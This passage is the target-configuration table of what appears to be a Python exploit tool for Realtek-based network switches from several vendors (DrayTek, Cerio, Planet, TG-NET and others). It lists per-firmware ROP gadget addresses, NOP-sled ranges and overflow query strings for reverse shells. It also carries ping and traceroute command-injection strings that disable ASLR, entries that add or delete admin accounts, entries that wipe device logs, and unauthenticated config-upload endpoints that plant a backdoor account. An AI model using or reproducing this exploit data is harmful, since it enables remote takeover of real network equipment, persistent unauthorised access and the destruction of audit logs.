														# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
						'log_fileClear':0x4847DC,		# Jump one after 'sw $ra'			# Clean FILE log (address, binary dependent)
						'vulnerable': True,
					},
														# /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
					'stack_cgi_sntp': {
						'sys_timeSntp_set':0x42C8F0,	# Jump one after 'sw $ra'			# Set SNTP Server (Inject CMD)
														# /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
						'sys_timeSntpDel_set':0x42C8F0,	# Jump one after 'sw $ra'			# Delete (address, binary dependent) 
														# /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_time_post()
						'sys_timeSettings_set':0x42C8F0,# Jump one after 'sw $ra'			# Enable/Disable (address, binary dependent)
						'vulnerable': True,
					}, 
					'heack_cgi_shell': {
						'cgi':'dispatcher.cgi',			# /sqfs/home/web/cgi-bin/dispatcher.cgi; main()
						'query':'username=_USRNOP&password=_PWDNOP_RA_START&login=1&_USRNOP_USRNOP_SHELLCODE',
						'START':0x7fff7004,				# start: Stack overflow RA, used for searching NOP sled by blind jump
						'STOP':0x7fc60000,				# end: You may want to play with this if you dont get it working
						'usr_nop': 28,					# NOP sled (shellcode will be tailed)
						'pwd_nop': 20,					# filler/garbage (not used for something constructive)
						'align': 0,						# Align opcodes in memory
						'stack':True,					# NOP and shellcode lays on: True = stack, False = Heap
						'vulnerable': True,
					},
				},
			},

			#
			# OpenMESH (some identical with enginius egs series)
			#
			# CGI Reverse Shell      : Yes
			# Boa/Hydra reverse shell: Yes
			# Del /var/log/ram.log   : Yes
			# Del /var/log/flash.log : Yes
			# Del /mntlog/flash.log  : Yes
			# Add credentials        : Yes
			# Del credentials        : Yes
			#
			'13984-12788': {
				'template':'OpenMESH',						# Static for the vendor
				'version':'01.03.24_180823-1626',					# Version / binary dependent stuff
				'model':'OMS24',				# Model
				'uri':'https://www.openmesh.com/',
				'exploit': {
					'heack_hydra_shell': {
														# /sqfs/bin/boa; embedparse() 
						'gadget': 0x40E12C,				# Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
														# /sqfs/bin/boa; read_body(); 
						'system': 0x8f99851c,			# la $t9, system # opcode, binary dependent
														# /sqfs/bin/boa; read_body(); 
						'handler': 0x248405a0,			# addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
						'v0': 7,						# Should leave as-is (but you can play between 5 - 8)
						'vulnerable': True,
					},
					'stack_cgi_add_account': {
														# /sqfs/home/web/cgi/set.cgi;  cgi_sys_acctAdd_set()
						'address':0x424890,				# Jump one after 'sw $ra'			# (address, binary dependent)
						'account':'&na=USERNAME&pw=PASSWORD&pv=0&op=1&',			# Admin, priv 15
						'vulnerable': True,
					},
					'stack_cgi_del_account': {
														# /sqfs/home/web/cgi/set.cgi;  sn_user_mngSet()
						'address':0x424890,				# Jump one after 'sw $ra'			# (address, binary dependent)
						'account':'&na=USERNAME&pw=&pv=0&op=0',		# 
						'vulnerable': True,				# user
					},
					'stack_cgi_diag': {
														# /sqfs/home/web/cgi-bin/datajson.cgi;  sn_ipv4PingSet()
						#'web_sys_ping_post':0x42341C,	# Jump one after 'sw $ra'			# (address, binary dependent)

														# /sqfs/home/web/cgi-bin/datajson.cgi;  sn_tracertSet()
						'sys_ping_post_cmd':'&ip=127.0.0.1 ; echo 0 > /proc/sys/kernel/randomize_va_space #&mh=30&uid=0',
						'sys_ping_post_check':'&ip=127.0.0.1 ; cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check #&mh=30&uid=0',
						'verify_uri':'/conf_tmp/check',
						'web_sys_ping_post': 0x424248,	# Jump one after 'sw $ra'			# (address, binary dependent)
						'vulnerable': True,				# 
					},
					'stack_cgi_log': {
														# /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_globalSet()
						'log_settings_set':0x43EA88,	# Jump one after 'sw $ra'			# Disable Logging (address, binary dependent)
														# /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set()
						'log_ramClear':0x440660,		# Jump one after 'sw $ra'			# Clean RAM log (address, binary dependent)
														# /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set()
						'log_fileClear':0x440660,		# Jump one after 'sw $ra'			# Clean FILE log (address, binary dependent)
						'vulnerable': True,
					},
					'stack_cgi_sntp': {
														# /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet()
						'sys_timeSntp_set':0x425260,	# Jump one after 'sw $ra'			# Set SNTP Server (Inject RCE)
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntpDel_set()
						'sys_timeSntpDel_set':0x425260,	# Jump one after 'sw $ra'			# Delete (address, binary dependent) 
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSettings_set()
						'sys_timeSettings_set':0x425260,# Jump one after 'sw $ra'			# Enable/Disable (address, binary dependent)
						'vulnerable': True,
					}, 
					'heack_cgi_shell': {
						'cgi':'security.cgi',			# /sqfs/home/web/cgi-bin/security.cgi; main()
						'START':0x100181A0,				# start: Stack overflow RA, used for searching NOP sled by blind jump
						'STOP':0x104006A0,				# end: You may want to play with this if you dont get it working
						'usr_nop': 987,					# NOP sled (shellcode will be tailed)
						'pwd_nop': 69,					# filler/garbage (not used for something constructive)
						'align': 0,						# Align opcodes in memory
						'stack':False,					# NOP and shellcode lays on: True = stack, False = Heap
						'vulnerable': True,
					},
				},
			},

			#
			# Xhome (identical with Realtek)
			#
			# CGI Reverse Shell      : Yes
			# Boa/Hydra reverse shell: Yes
			# Del /var/log/ram.log   : Yes
			# Del /var/log/flash.log : No
			# Del /mntlog/flash.log  : No
			# Add credentials        : Yes
			# Del credentials        : Yes
			#
			'222-64895': {
				'template':'Xhome',					# Static for the vendor
				'version':'3.0.0.43126',			# Version / binary dependent stuff
				'model':'DownLoop-G24M',			# Model
				'uri':'http://www.xhome.com.tw/product_info.php?info=p116_XHome-DownLoop-G24M----------------------------------------.html',
				'exploit': {
					'heack_hydra_shell': {
														# /sqfs/bin/boa; embedparse() 
						'gadget': 0x40E6DC,				# Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
														# /sqfs/bin/boa; read_body(); 
						'system': 0x8f99851c,			# la $t9, system) # opcode, binary dependent
														# /sqfs/bin/boa; read_body(); 
						'handler': 0x24841ea8,			# addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
						'v0': 7,						# Should leave as-is (but you can play between 5 - 8)
						'vulnerable': True,
					},
					'stack_cgi_add_account': {
						'vulnerable': False,
					},
					'stack_cgi_del_account': { #
						'vulnerable': False,
					},
					'stack_cgi_diag': {
						# Ping IPv4
						'sys_ping_post_cmd':'ip=127.0.0.1 ; echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space&count=1',
						'verify_uri':'/tmp/pingtest_tmp',
						'web_sys_ping_post':0x4229A0,	# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_sys_ping_post()

						# traceroute
						#'sys_ping_post_cmd':'ip=127.0.0.1 ; echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/traceroute_tmp #&tr_maxhop=30&count=1',
						#'verify_uri':'/tmp/traceroute_tmp',
						#'web_sys_ping_post':0x423188,	# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_sys_trace_route_post()
						'vulnerable': True,
					},
					'stack_cgi_log': {
														# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_setting_post()
						'log_settings_set':0x481988,	# Jump one after 'sw $ra'			# Disable Logging (address, binary dependent)
														# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
						'log_ramClear':0x4847FC,		# Jump one after 'sw $ra'			# Clean RAM log (address, binary dependent)
														# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
						'log_fileClear':0x4847FC,		# Jump one after 'sw $ra'			# Clean FILE log (address, binary dependent)
						'vulnerable': True,
					},
														# /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
					'stack_cgi_sntp': {
						'sys_timeSntp_set':0x42C910,	# Jump one after 'sw $ra'			# Set SNTP Server (Inject CMD)
														# /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
						'sys_timeSntpDel_set':0x42C910,	# Jump one after 'sw $ra'			# Delete (address, binary dependent) 
														# /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_time_post()
						'sys_timeSettings_set':0x42B6F8,# Jump one after 'sw $ra'			# Enable/Disable (address, binary dependent)
						'vulnerable': True,
					}, 
					'heack_cgi_shell': {
						'cgi':'dispatcher.cgi',			# /sqfs/home/web/cgi-bin/dispatcher.cgi; main()
						'query':'username=_USRNOP&password=_PWDNOP_RA_START&login=1&_USRNOP_USRNOP_SHELLCODE',
						'START':0x7fff7004,				# start: Stack overflow RA, used for searching NOP sled by blind jump
						'STOP':0x7fc60000,				# end: You may want to play with this if you dont get it working
						'usr_nop': 28,					# NOP sled (shellcode will be tailed)
						'pwd_nop': 20,					# filler/garbage (not used for something constructive)
						'align': 0,						# Align opcodes in memory
						'stack':True,					# NOP and shellcode lays on: True = stack, False = Heap
						'vulnerable': True,
					},
				},
			},

			#
			# Pakedgedevice & Software
			#
			# CGI Reverse Shell      : Yes
			# Boa/Hydra reverse shell: No (cannot point JMP correct into NOP on heap)
			# Del /var/log/ram.log   : Yes
			# Del /var/log/flash.log : Yes
			# Del /mntlog/flash.log  : Yes
			# Add credentials        : Yes
			# Del credentials        : Yes
			#
			'225-21785': {
				'model':'SX-8P',
				'template':'Pakedge',					# Static for the vendor
				'version':'1.04',							# Version / binary dependent stuff
				'exploit': {
					'heack_hydra_shell': {
														# /sqfs/bin/boa; embedparse() 
						'gadget': 0x40C86C,				# Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
														# /sqfs/bin/boa; read_body(); 
						'system': 0x8f998538,			# la $t9, system # opcode, binary dependent
														# /sqfs/bin/boa; read_body(); 
						'handler': 0x248492ec,			# addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
						'v0': 7,						# Should leave as-is (but you can play between 5 - 8)
						'vulnerable': True,
					},
					'stack_cgi_diag': {
						'vulnerable': False,
					},
					'stack_cgi_add_account': {
						'vulnerable': False,
					},
					'stack_cgi_del_account': { #
						'vulnerable': False,
					},
					'stack_cgi_log': {
														# /sqfs/home/web/cgi/set.cgi; cgi_log_global_set()
						'log_settings_set':0x413AEC,	# Jump one after 'sw $ra'			# Disable Logging (address, binary dependent)
														# /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set()
						'log_ramClear':0x413A14,		# Jump one after 'sw $ra'			# Clean RAM log (address, binary dependent)
														# /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set()
						'log_fileClear':0x413A14,		# Jump one after 'sw $ra'			# Clean FILE log (address, binary dependent)
						'vulnerable': True,
					},
					'stack_cgi_sntp': {
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
						'sys_timeSntp_set':0x4108E4,	# Jump one after 'sw $ra'			# Set SNTP Server (Inject RCE)
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
						'sys_timeSntpDel_set':0x4108E4,	# Jump one after 'sw $ra'			# Delete (address, binary dependent) 
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
						'sys_timeSettings_set':0x4108E4,# Jump one after 'sw $ra'			# Enable/Disable (address, binary dependent)
						'vulnerable': True,
					}, 
					'heack_cgi_shell': {
						'cgi':'set.cgi',				# /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set()
						'START':0x7ffeff04,				# start: Stack overflow RA, used for searching NOP sled by blind jump
						'STOP':0x7fc60000,				# end: You may want to play with this if you dont get it working
						'usr_nop': 64,					# NOP sled (shellcode will be tailed)
						'pwd_nop': 77,					# filler/garbage (not used for something constructive)
						'align': 3,						# Align opcodes in memory
						'stack':True,					# NOP and shellcode lays on: True = stack, False = Heap
						'vulnerable': True,
					},
				},
			},

			#
			# Draytek
			#
			# CGI Reverse Shell      : Yes
			# Boa/Hydra reverse shell: No (cannot point JMP correct into NOP on heap)
			# Del /var/log/ram.log   : Yes
			# Del /var/log/flash.log : Yes
			# Del /mntlog/flash.log  : Yes
			# Add credentials        : Yes
			# Del credentials        : Yes
			#
			'752-95168': {
				'template':'DrayTek',					# Static for the vendor
				'version':'2.1.4',						# Version / binary dependent stuff
				'model':'VigorSwitch P1100',  			#
				'uri':'https://www.draytek.com/products/vigorswitch-p1100/',
				'exploit': {
					'heack_hydra_shell': {
														# /sqfs/bin/boa; embedparse() 
						'gadget': 0x40C67C,				# Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
														# /sqfs/bin/boa; read_body(); 
						'system': 0x8f99852c,			# la $t9, system # opcode, binary dependent
														# /sqfs/bin/boa; read_body(); 
						'handler': 0x248490ac,			# addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
						'v0': 7,						# Should leave as-is (but you can play between 5 - 8)
						'vulnerable': True,
					},
					'stack_cgi_diag': {
						'vulnerable': False,
					},
					'stack_cgi_add_account': {
						'vulnerable': False,
					},
					'stack_cgi_del_account': { #
						'vulnerable': False,
					},
					'stack_cgi_log': {
														# /sqfs/home/web/cgi/set.cgi; cgi_log_global_set()
						'log_settings_set':0x413E34,	# Jump one after 'sw $ra'			# Disable Logging (address, binary dependent)
														# /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set()
						'log_ramClear':0x413D64,		# Jump one after 'sw $ra'			# Clean RAM log (address, binary dependent)
														# /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set()
						'log_fileClear':0x413D64,		# Jump one after 'sw $ra'			# Clean FILE log (address, binary dependent)
						'vulnerable': True,
					},
					'stack_cgi_sntp': {
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
						'sys_timeSntp_set':0x410CA8,	# Jump one after 'sw $ra'			# Set SNTP Server (Inject RCE)
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
						'sys_timeSntpDel_set':0x410CA8,	# Jump one after 'sw $ra'			# Delete (address, binary dependent) 
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
						'sys_timeSettings_set':0x410CA8,# Jump one after 'sw $ra'			# Enable/Disable (address, binary dependent)
						'vulnerable': True,				# 
					}, 
					'heack_cgi_shell': {
						'cgi':'set.cgi',				# /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set()
						'START':0x7ffeff04,				# start: Stack overflow RA, used for searching NOP sled by blind jump
						'STOP':0x7fc60000,				# end: You may want to play with this if you dont get it working
						'usr_nop': 64,					# NOP sled (shellcode will be tailed)
						'pwd_nop': 77,					# filler/garbage (not used for something constructive)
						'align': 3,						# Align opcodes in memory
						'stack':True,					# NOP and shellcode lays on: True = stack, False = Heap
						'vulnerable': True,
					},
				},
			},

			#
			# Cerio
			#
			# CGI Reverse Shell      : Yes
			# Boa/Hydra reverse shell: Yes
			# Del /var/log/ram.log   : Yes
			# Del /var/log/flash.log : Yes
			# Del /mntlog/flash.log  : Yes
			# Add credentials        : Yes
			# Del credentials        : Yes
			#
			'224-5061': {
				'template':'Cerio',					# Static for the vendor
				'version':'1.00.29',				# Version / binary dependent stuff
				'model':'CS-2424G-24P',  			#
				'uri':'https://www.cerio.com.tw/eng/switch/poe-switch/cs-2424g-24p/',
				'exploit': {
					'heack_hydra_shell': {
														# /sqfs/bin/boa; embedparse() 
						'gadget': 0x40E6DC,				# Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
														# /sqfs/bin/boa; read_body(); 
						'system': 0x8f998524,			# la $t9, system # opcode, binary dependent
														# /sqfs/bin/boa; read_body(); 
						'handler': 0x248411bc,			# addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
						'v0': 7,						# Should leave as-is (but you can play between 5 - 8)
						'vulnerable': True,
					},
					'stack_cgi_add_account': {
						'vulnerable': False,
					},
					'stack_cgi_del_account': { #
						'vulnerable': False,
					},
					'stack_cgi_diag': {
														# /sqfs/home/web/cgi/set.cgi;  cgi_diag_traceroute_set()
						'sys_ping_post_cmd':'&srvHost=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check;&count=1',
						'sys_ping_post_check':'',
						'web_sys_ping_post':0x40E114,	# Jump one after 'sw $ra'			# (address, binary dependent)

						'verify_uri':'/tmp/check',
						'vulnerable': True,				# 
					},
					'stack_cgi_log': {
														# /sqfs/home/web/cgi/set.cgi; cgi_log_global_set()
						'log_settings_set':0x41DB4C,	# Jump one after 'sw $ra'			# Disable Logging (address, binary dependent)
														# /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set()
						'log_ramClear':0x41DA94,		# Jump one after 'sw $ra'			# Clean RAM log (address, binary dependent)
														# /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set()
						'log_fileClear':0x41DA94,		# Jump one after 'sw $ra'			# Clean FILE log (address, binary dependent)
						'vulnerable': True,
					},
					'stack_cgi_sntp': {
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
						'sys_timeSntp_set':0x415F14,	# Jump one after 'sw $ra'			# Set SNTP Server (Inject RCE)
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
						'sys_timeSntpDel_set':0x415F14,	# Jump one after 'sw $ra'			# Delete (address, binary dependent) 
														# /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
						'sys_timeSettings_set':0x415F14,# Jump one after 'sw $ra'			# Enable/Disable (address, binary dependent)
						'vulnerable': False,			# 
					}, 
					'heack_cgi_shell': {
						'cgi':'set.cgi',				# /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set()
						'START':0x7ffeff04,				# start: Stack overflow RA, used for searching NOP sled by blind jump
						'STOP':0x7fc60000,				# end: You may want to play with this if you dont get it working
						'usr_nop': 64,					# NOP sled (shellcode will be tailed)
						'pwd_nop': 77,					# filler/garbage (not used for something constructive)
						'align': 3,						# Align opcodes in memory
						'stack':True,					# NOP and shellcode lays on: True = stack, False = Heap
						'vulnerable': True,
					},
				},
			},

			#
			# Abaniact
			#
			# CGI Reverse Shell      : Yes
			# Boa/Hydra reverse shell: Yes
			# Del /var/log/ram.log   : Yes
			# Del /var/log/flash.log : No
			# Del /mntlog/flash.log  : No
			# Add credentials        : Yes
			# Del credentials        : Yes
			#
			'222-45866': {
				'template':'Abaniact',					# Static for the vendor
				'version':'116B00033',				# Version / binary dependent stuff
				'model':'AML2-PS16-17GP L2',			# Model
				'uri':'https://www.abaniact.com/L2SW/',
				'exploit': {
					'heack_hydra_shell': {
														# /sqfs/bin/boa; embedparse() 
						'gadget': 0x40E65C,				# Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
														# /sqfs/bin/boa; read_body(); 
						'system': 0x8f998524,			# la $t9, system) # opcode, binary dependent
														# /sqfs/bin/boa; read_body(); 
						'handler': 0x2484152c,			# addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
						'v0': 7,						# Should leave as-is (but you can play between 5 - 8)
						'vulnerable': True,
					},
					'stack_cgi_add_account': {
						'vulnerable': False,
					},
					'stack_cgi_del_account': { #
						'vulnerable': False,
					},
					'stack_cgi_diag': {
						# Ping IPv4
						#'sys_ping_post_cmd':'ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space&count=1',
						#'verify_uri':'/tmp/pingtest_tmp',
						#'web_sys_ping_post':0x4296FC,	# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_sys_ping_post()

						# traceroute
						'web_sys_ping_post':0x429F58,	# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_sys_trace_route_post()
						'sys_ping_post_cmd':'ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/traceroute_tmp #&tr_maxhop=30&count=1',
						'verify_uri':'/tmp/traceroute_tmp',
						'vulnerable': True,
					},
					'stack_cgi_log': {
														# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_setting_post()
						'log_settings_set':0x4B4FE4,	# Jump one after 'sw $ra'			# Disable Logging (address, binary dependent)
														# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
						'log_ramClear':0x4BA5D0,		# Jump one after 'sw $ra'			# Clean RAM log (address, binary dependent)
														# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
						'log_fileClear':0x4BA5D0,		# Jump one after 'sw $ra'			# Clean FILE log (address, binary dependent)
						'vulnerable': True,
					},
														# /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
					'stack_cgi_sntp': {
						'sys_timeSntp_set':0x43764C,	# Jump one after 'sw $ra'			# Set SNTP Server (Inject CMD)
														# /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
						'sys_timeSntpDel_set':0x43764C,	# Jump one after 'sw $ra'			# Delete (address, binary dependent) 
														# /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_time_post()
						'sys_timeSettings_set':0x431CC4,# Jump one after 'sw $ra'			# Enable/Disable (address, binary dependent)
						'vulnerable': False,
					}, 
					'heack_cgi_shell': {
						'cgi':'dispatcher.cgi',			# /sqfs/home/web/cgi-bin/dispatcher.cgi; main()
						'query':'username=admin&password=_PWDNOP_RA_START&login=1&shellcod=_USRNOP_USRNOP_USRNOP_SHELLCODE',
						'START':0x7ffe6e04,				# start: Stack overflow RA, used for searching NOP sled by blind jump
						'STOP':0x7fc60000,				# end: You may want to play with this if you dont get it working
						'stack':True,					# NOP and shellcode lays on: True = stack, False = Heap
						'usr_nop': 53,					# NOP sled (shellcode will be tailed)
						'pwd_nop': 45,					# filler/garbage (not used for something constructive)
						'align': 0,						# Align opcodes in memory
						'vulnerable': True,
						'workaround':True,	# My LAB workaround

					},
				},
			},

			#
			# TG-NET Botone Technology Co.,Ltd.
			# (Traces in this image: 3One Data Communication, Saitian, Sangfor, Sundray, Gigamedia, GetCK, Hanming Technology)
			#
			# CGI Reverse Shell      : Yes
			# Boa/Hydra reverse shell: Yes
			# Del /var/log/ram.log   : Yes
			# Del /var/log/flash.log : No
			# Del /mntlog/flash.log  : No
			# Add credentials        : Yes
			# Del credentials        : Yes
			#
			'222-81176': {
				'template':'TG-NET',					# Static for the vendor
				'version':'3.1.1-R1',					# Version / binary dependent stuff
				'model':'P3026M-24POE (V3)',				# Model
				'uri':'http://www.tg-net.net/productshow.asp?ProdNum=1049&parentid=98',
				'exploit': {
					'heack_hydra_shell': {
														# /sqfs/bin/boa; embedparse() 
						'gadget': 0x40C74C,				# Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
														# /sqfs/bin/boa; read_body(); 
						'system': 0x8f99851c,			# la $t9, system) # opcode, binary dependent
														# /sqfs/bin/boa; read_body(); 
						'handler': 0x2484a2d4,			# addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
						'v0': 7,						# Should leave as-is (but you can play between 5 - 8)
						'vulnerable': True,
					},
					'stack_cgi_diag': {
						'vulnerable': False,
					},
					'stack_cgi_add_account': {
						'vulnerable': False,
					},
					'stack_cgi_del_account': { #
						'vulnerable': False,
					},
					'stack_cgi_log': {
														# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_setting_post()
						'log_settings_set':0x46AC10,	# Jump one after 'sw $ra'			# Disable Logging (address, binary dependent)
														# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
						'log_ramClear':0x46E368,		# Jump one after 'sw $ra'			# Clean RAM log (address, binary dependent)
														# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
						'log_fileClear':0x46E368,		# Jump one after 'sw $ra'			# Clean FILE log (address, binary dependent)

						'vulnerable': True,
					},
					'stack_cgi_sntp': {
														# /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
						'sys_timeSntp_set':0x42243C,	# Jump one after 'sw $ra'			# Set SNTP Server (Inject CMD)
														# /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
						'sys_timeSntpDel_set':0x42243C,	# Jump one after 'sw $ra'			# Delete (address, binary dependent) 
														# /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_time_post()
						'sys_timeSettings_set':0x424DE0,# Jump one after 'sw $ra'			# Enable/Disable (address, binary dependent)

						'vulnerable':False,
					}, 

					# Interesting when there is a fresh heap with 0x00's (4 x 0x00 == MIPS NOP),
					# and to fill wider area with sending '&%8f%84%01=%8f%84%80%18' where:
					# 
					# NOP's
					# '24%04%FF=' : '=' will be replaced with 0x00, li $a0, 0xFFFFFF00
					# '%24%04%FF%FF' : li $a0, 0xFFFFFFFF
					'heack_cgi_shell': {
						'cgi':'dispatcher.cgi',			# /sqfs/home/web/cgi-bin/dispatcher.cgi; main()
						'query':'username='+ self.random_string(112) +'_RA_START&password='+ self.random_string(80) +'&login=1'+ ('&%24%04%FF=%24%04%FF%FF' * 50) +'_SHELLCODE',
						'START':0x10010104,				# start: Stack overflow RA, used for searching NOP sled by blind jump
						'STOP' :0x10600604,				# end: You may want to play with this if you dont get it working
						'usr_nop': 28,					# NOP sled (shellcode will be tailed)
						'pwd_nop': 20,					# filler/garbage (not used for something constructive)
						'align': 0,						# Align opcodes in memory
						'stack':False,					# NOP and shellcode lays on: True = stack, False = Heap
						'vulnerable': True,
					},
				},
			},

		}

		#
		# Vendor templates, Vendor_ETag() will be merged to here
		# (dont delete anything here thats not moved to Vendor_ETag())
		#

		Vendor_Template = {
			#
			'Planet': {
				'vendor': 'PLANET Technology Corp.',
				'modulus_uri':'',
				'info_leak':False,
				'info_leak_JSON':False,
				'info_leak_uri':'',
				'xsid':False,
				'xsid_uri':'',
				'login': {
					'description':'Login/Logout on remote device',
					'authenticated': True,
					'json':False,
					'encryption':'clear',
					'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
					'query':'username=USERNAME&password=PASSWORD&login=1',
					'status_uri':'/cgi-bin/dispatcher.cgi?cmd=547',
					'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
					'vulnerable': True,
					'safe': True
				},
				'log':{
						'description':'Disable and clean logs',
						'authenticated': True,
						'json':False,
						'disable_uri':'/cgi-bin/dispatcher.cgi',
						'disable_query':'LOGGING_SERVICE=0&cmd=5121',
						'status':'',
						'clean_logfile_uri':'/cgi-bin/dispatcher.cgi',
						'clean_logfile_query':'cmd_5132=Clear+file+messages',
						'clean_logmem_uri':'/cgi-bin/dispatcher.cgi',
						'clean_logmem_query':'cmd_5132=Clear+buffered+messages',
						'vulnerable': True,
						'safe': True
				},
				# Verify lacking authentication
				'verify': {
						'httpuploadbakcfg.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload "backup-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpuploadbakcfg.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':' Invalid config file!!', # one 0x20 in beginning
							'vulnerable': True,
							'safe': True
						},
						'httpuploadruncfg.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpuploadruncfg.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':' Invalid config file!!', # one 0x20 in beginning
							'vulnerable': True,
							'safe': True
						},
						'httprestorecfg.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httprestorecfg.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':' Invalid config file!!', # one 0x20 in beginning
							'vulnerable': True,
							'safe': True
						},
						'httpupload.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpupload.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':'Image Signature Error',
							'vulnerable': True,
							'safe': True
						},
						'dispatcher.cgi': { # 'username' also suffer from stack overflow
							'description':'Stack overflow in "username/password" (PoC: crash CGI)',
							'response':'502',
							'Content-Type':False,
							'authenticated': False,
							'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
							'content':'username=admin&password='+ self.random_string(184) + '&login=1',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
				},
				'exploit': {
					'heack_hydra_shell': {
						'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
						'authenticated': False,
						'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory
						'vulnerable': True,
						'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart
					},
					'priv15_account': {
						'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
						'json':False,
						'authenticated': False,
						'encryption':'md5',
						'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" secret encrypted PASSWORD\n\n------',
						#'encryption':'nopassword',
						#'content':'Content-Type\n\nconfig-file-header\nusername "USERNAME" nopassword\n\n------', # Yep, working too
						'add_uri':'/cgi-bin/httpuploadruncfg.cgi',
						'del_query':'', 
						'del_uri':'/cgi-bin/dispatcher.cgi?cmd=526&usrName=USERNAME',
						'vulnerable': True,
						'safe': True
					}, 
					'sntp': {
						'description':'SNTP command injection (PoC: disable ASLR)',
						'json':False,
						'authenticated': True,
						'enable_uri':'/cgi-bin/dispatcher.cgi',
